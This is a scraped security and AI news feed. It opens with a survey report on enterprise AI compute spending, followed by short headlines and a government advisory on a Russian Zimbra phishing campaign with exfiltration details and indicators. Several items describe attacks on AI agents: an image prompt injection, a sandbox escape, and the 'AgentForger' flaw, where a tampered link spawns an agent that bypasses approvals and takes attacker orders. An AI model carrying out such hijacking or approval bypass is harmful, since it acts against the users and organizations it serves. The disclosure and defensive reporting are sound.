Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs

Thu, 23 Jul 2026 19:19:39 +0200

Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.

This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.

The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.

Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.

Finding 1: Ambition outpaces production

Only one in five run AI in production at scale

We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.

The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.

Finding 2: Enterprises run on hyperscalers and model APIs

The specialized GPU clouds barely register — today

We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.

The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.

(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)

Finding 3: The next dollar goes to infrastructure they don’t yet run

AI-specialized clouds top the evaluations list

We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.

Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.

This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.

Finding 4: A switching wave is building

Six in 10 plan to change providers within a year — many within a quarter

We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.

For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.

(Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.)

Finding 5: Nobody buys on token price

Integration and total cost of ownership decide — not sticker price

We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.

Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.

Finding 6: Expensive GPUs, idle most of the time

83% report GPU utilization of 50% or less

We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.

Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%

The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.

Finding 7: Spending fast, measuring slowly

Fewer than half rigorously track what their compute costs

We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.

Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.

Finding 8: The next bottleneck few are watching

As inference shifts from compute to memory, the field scatters

Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.

The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.

The bottom line: A compute gap that faster spending will widen, not close

Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.

The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.

ThreatsDay: Android Spyware, PLC Attacks, AI Image Prompt Injection + 12 More Stories

Thu, 23 Jul 2026 19:12:47 +0200

Most of this week’s trouble came dressed as something useful. A package stole data. A fake extension opened remote access. A safety app became spyware. An image gave hidden orders to an AI agent. Other threats hid in open systems,…

The post ThreatsDay: Android Spyware, PLC Attacks, AI Image Prompt Injection + 12 More Stories appeared first on IT Security News.

One tampered ChatGPT link could spawn a rogue AI agent that took orders from an attacker every five minutes

Thu, 23 Jul 2026 19:08:14 +0200

Zenity Labs uncovered "AgentForger," a vulnerability in OpenAI's Agent Builder that let a single manipulated ChatGPT link create an autonomous agent on an employee's behalf. The agent inherited the victim's identity and access rights, bypassed approval requirements through the malicious prompt, and pulled new instructions from the attacker's inbox every five minutes.

The article One tampered ChatGPT link could spawn a rogue AI agent that took orders from an attacker every five minutes appeared first on The Decoder.

CVE-2026-20206 | Cisco ThousandEyes Enterprise Agent up to 5.1.3 BrowserBot os command injection (cisco-sa-tebbot-cmdinj-wN3yQ5gn)

Thu, 23 Jul 2026 19:01:48 +0200

A vulnerability was found in Cisco ThousandEyes Enterprise Agent up to 5.1.3. It has been classified as critical. This impacts an unknown function of the component BrowserBot. The manipulation leads to os command injection. This vulnerability is documented as CVE-2026-20206. The attack can be initiated remotely. There is not any exploit available. Upgrading the affected component is recommended.

KI-Agent bricht aus und wird zum Hacker - Wissenschaft.de

Thu, 23 Jul 2026 19:01:07 +0200

KI-Agent bricht aus und wird zum Hacker. KI-Agenten nutzen für das Erreichen ihrer Ziele alle Mittel – sie werden sogar eigenständig zu ...

ThreatsDay: Android Spyware, PLC Attacks, AI Image Prompt Injection + 12 More Stories

Thu, 23 Jul 2026 19:00:33 +0200

Most of this week's trouble came dressed as something useful. A package stole data. A fake extension opened remote access. A safety app became spyware. An image gave hidden orders to an AI agent. Other threats hid in open systems, weak code, and normal network traffic. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. The danger was

Detecting silent agent failures with Amazon Bedrock AgentCore optimization

Thu, 23 Jul 2026 18:54:50 +0200

Amazon Bedrock AgentCore optimization surfaces silent behavioral failures in production AI agents: the ones that pass every health check but still deliver wrong outcomes. Learn how insights discovers, explains, and ranks failure patterns across sessions so you can fix the highest-impact issues first.

Building trade assistant: How Jefferies optimized front office trading operations with AI

Thu, 23 Jul 2026 18:54:47 +0200

In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs), Amazon Bedrock, and Amazon Bedrock Knowledge Bases. It also uses Model Context Protocol (MCP), an open standard that helps AI agents securely connect to diverse data sources and tools through a unified interface. We cover the solution overview, the rationale for selecting the underlying technology stack, lessons learned, and the business impact the solution created at Jefferies.

Exim Directory Traversal Vulnerability Enables Privilege Escalation Attacks

Thu, 23 Jul 2026 18:44:39 +0200

A newly disclosed high-severity vulnerability in the Exim mail transfer agent allows local attackers to exploit a directory traversal flaw to escalate privileges on affected systems. Tracked as EXIM-Security-2026-06-22.1 and assigned GCVE-25-2026-07-45-1, the issue impacts Exim versions from 4.88 through…

The post Exim Directory Traversal Vulnerability Enables Privilege Escalation Attacks appeared first on IT Security News.

v0.32.3

Thu, 23 Jul 2026 17:47:58 +0200

agent: import skills from coding agents (#17294)

OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider

Thu, 23 Jul 2026 17:41:53 +0200

AgentForger allows an attacker to create, insert and remotely control an invisible autonomous AI agent inside a victim organization. The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on SecurityWeek. This article…

The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on IT Security News.

Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files

Thu, 23 Jul 2026 17:24:34 +0200

Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic’s Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on…

The post Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files appeared first on IT Security News.

OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider

Thu, 23 Jul 2026 17:12:27 +0200

AgentForger allows an attacker to create, insert and remotely control an invisible autonomous AI agent inside a victim organization.

The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on SecurityWeek.

The Meter Was Always Running

Thu, 23 Jul 2026 17:06:22 +0200

The first expensive agent run doesn’t look like a governance problem. It looks like a billing problem. A team opens its first agent invoice after the meter turns on, sorts the runs by cost, and finds one that cost 40 times the median. The provider meter shows tokens and a total. The application logs say […]

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Thu, 23 Jul 2026 16:59:29 +0200

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Background

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),
the federal and local government,
education,
energy,
law enforcement,
media,
non-governmental organizations, and
technology.

Technical details

Reconnaissance

Resource development

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Initial access

Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing.

Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element

Collection

**Table 1: Additional SOAP commands used**
SOAP Command	Namespace	Stage
GetInfoRequest	zimbraAccount	gather_environment
GetDeviceStatusRequest	zimbraSync	gather_device_status
GetOAuthConsumersRequest	zimbraAccount	gather_oauth_consumers
SearchGalRequest	zimbraAccount	gather_gal

**Table 2: ZCS webmail client types**
Indicator	Client Type	Associated Value
?client=advanced	Advanced	c
/h/	Standard	h
/modern/	Modern	m

Exfiltration

DNS exfiltration

Figure 6: Structure for information exfiltrated by DNS

**Table 3: DNS exfiltration**
Type of Information	Exfiltration Stage	Data Type
Victim’s Email Address	gather_email	e
Client Type	gather_environment	c
Zimbra Version	gather_environment	v
URL at Time of Exploitation	gather_environment	url
2FA Scratch Codes	gather_2fa_codes	2fa
Newly Created Application Password	gather_app_password	pa
Harvested Autocomplete Password	gather_autocomplete_password	pw

HTTPS exfiltration

**Table 4: HTTPS exfiltration types**
Content Type	URL Path
application/json	/v/p
application/octet-stream	/v/d

Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.

Table 5 provides a summary of the JSON-based exfiltration.

**Table 5: HTTPS JSON exfiltration**
Type of Information	Exfiltration Stage	JSON Key(s)
Victim’s Email Address	gather_email	email
Client Type, Version, and Current URL	gather_environment	client, version, full_url
Newly Created Application Password	gather_app_password	app_password
Harvested Autocomplete Password	gather_autocomplete_password	autocomplete_password

**Table 6: HTTPS binary exfiltration**
Type of Information	Exfiltration Stage	X-Filename Header
SOAP request for GetInfoRequest	gather_environment	zimbra_batch_analytics.json
SOAP request for GetScratchCodesRequest	gather_2fa_codes	zimbra_batch_analytics.json
SOAP request for GetDeviceStatusRequest	gather_device_status	zimbra_batch_analytics.json
SOAP request for GetOAuthConsumersRequest	gather_oauth_consumers	zimbra_batch_analytics.json
Victim Organization’s Global Address List	gather_gal	telemetry_{1-20}.json
Last 90 Days of Victim’s Emails	sendArchives	telemetryData_{0-89}.json

Catcher

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Indicators of compromise (IOCs)

Flowerbed infrastructure

**Table 7: Flowerbed server infrastructure**
Domain	IP Address	First Seen	Last Seen
zmailanalytics[.]com	216.252.238[.]104	8 July 2025	15 October 2025
zimbra-metadata[.]com	216.252.238[.]18	20 August 2025	14 October 2025
analyticemailmeter[.]com	37.120.247[.]228	24 September 2025	18 March 2026
emailanalytics.com[.]ua	185.86.79[.]95	24 September 2025	18 March 2026
mailnalysis[.]com	104.248.134[.]194	11 November 2025	17 February 2026
zimbrastat[.]com	64.226.124[.]190	18 December 2025	18 March 2026
zimbrasoft.com[.]ua	193.238.152[.]66	20 January 2026	18 March 2026
synacorzimbra[.]nl	216.252.238[.]64	3 February 2026	30 March 2026
istc-cloud[.]com	194.156.103[.]193	5 February 2026	30 March 2026

**Table 8: Flowerbed X.509 certificate SHA-1 hashes**
Associated Domain	X.509 SHA-1 Hash	First Seen	Last Seen
zmailanalytics[.]com	2e4f314bc9943cab5005d6fde0b271c74d47bc9d	8 Jul 2025	6 Aug 2025
*.i.zmailanalytics[.]com	50a87d926621dd06389ba50d86e0ff574ed713a8	6 Aug 2025	13 Oct 2025
*.i.zimbra-metadata[.]com	c5a72420e7bb308d078e62128430897f82194c95	20 Aug 2025	14 Oct 2025
*.i.analyticemailmeter[.]com	8959c4d29e29f02ea94ea8bb21c8df2594c5549d	24 Sep 2025	8 Nov 2025
*.i.emailanalytics.com[.]ua	62eb76432597694edb01c1fe57aab0cfe03a7178	25 Sep 2025	27 Sep 2025
*.i.mailnalysis[.]com	cddf5c3be1e07f28140aed165b929bf2d614922a	12 Nov 2025	17 Dec 2025
*.i.zimbrastat[.]com	18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8	18 Dec 2025	28 Dec 2025
*.i.zimbrasoft.com[.]ua	1b25041ececf2457eef0270fc1d785cec8ec9ded	21 Jan 2026	10 Feb 2026
*.i.synacorzimbra[.]nl	e4fe6466a4f9a4249fe330651e914e45bbdca44a	5 Feb 2026	22 Mar 2026
*.i.istc-cloud[.]com	b6b77c9a455225d525834a403ca9ef5481ed0447	12 Feb 2026	30 Mar 2026

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution

The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

Remediation

Works cited

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/

Footnotes

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

Purpose

Contact

United States organizations

National Security Agency
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
Cybersecurity and Infrastructure Security Agency
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472).
Federal Bureau of Investigation
If you or someone you know has fallen victim to this campaign, file a complaint with IC3.
Defense Counterintelligence and Security Agency
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117.
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil
Department of Defense Cyber Crime Center
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil
Media Inquiries / Press Desk: DC3.Information@us.af.mil
Naval Criminal Investigative Service
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid
General Intelligence and Security Service (AIVD): https://www.aivd.nl

Australian organizations

Australian Signals Directorate
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE):
Visit https://www.sicurezzanazionale.gov.it/
Italian Internal Intelligence and Security Agency (AISI):
Visit https://www.sicurezzanazionale.gov.it/

Moldovan organizations

Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md

Polish organizations

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

**Table 9: Reconnaissance**
Technique Title	ID	Use
Gather Victim Identity Information: Credentials	T1589.001	The payload attempts to intercept a victim’s password from their password manager.
Gather Victim Identity Information: Email Addresses	T1589.002	The payload attempts to grab the victim’s email address from various data stores.
Search Open Websites/Domains	T1593	This group likely leverages public information to support target development.
Active Scanning	T1595	Port scanning can be used by this group to assist with determining exploitability of identified targets.
Search Open Technical Databases: Scan Databases	T1596.005	Various public datasets can provide information to support discovery of exploitable targets.
Search Closed Sources	T1597	Previously exfiltrated data can be used to enhance target development efforts.
Search Closed Sources: Purchase Technical Data	T1597.002	Commercial datasets can also be used to support target development efforts.

**Table 10: Resource Development**
Technique Title	ID	Use
Acquire Infrastructure	T1583	This group used Mullvad VPN to anonymize traffic sent to operational infrastructure.
Acquire Infrastructure: Virtual Private Server	T1583.003	This group procured VPS servers from a variety of vendors.
Develop Capabilities	T1587	The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns.
Develop Capabilities: Malware	T1587.001	Development of a novel payload that steals a victim’s emails and other sensitive account information.
Develop Capabilities: Exploits	T1587.004	Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript.
Obtain Capabilities: Tool	T1588.002	Open source tools, such as Evilginx2, have also been used by the group.
Obtain Capabilities: Artificial Intelligence	T1588.007	The group appears to have leveraged AI to support development efforts.
Stage Capabilities	T1608	Flowerbed is deployed to a procured server in the cloud.

**Table 11: Initial Access**
Technique Title	ID	Use
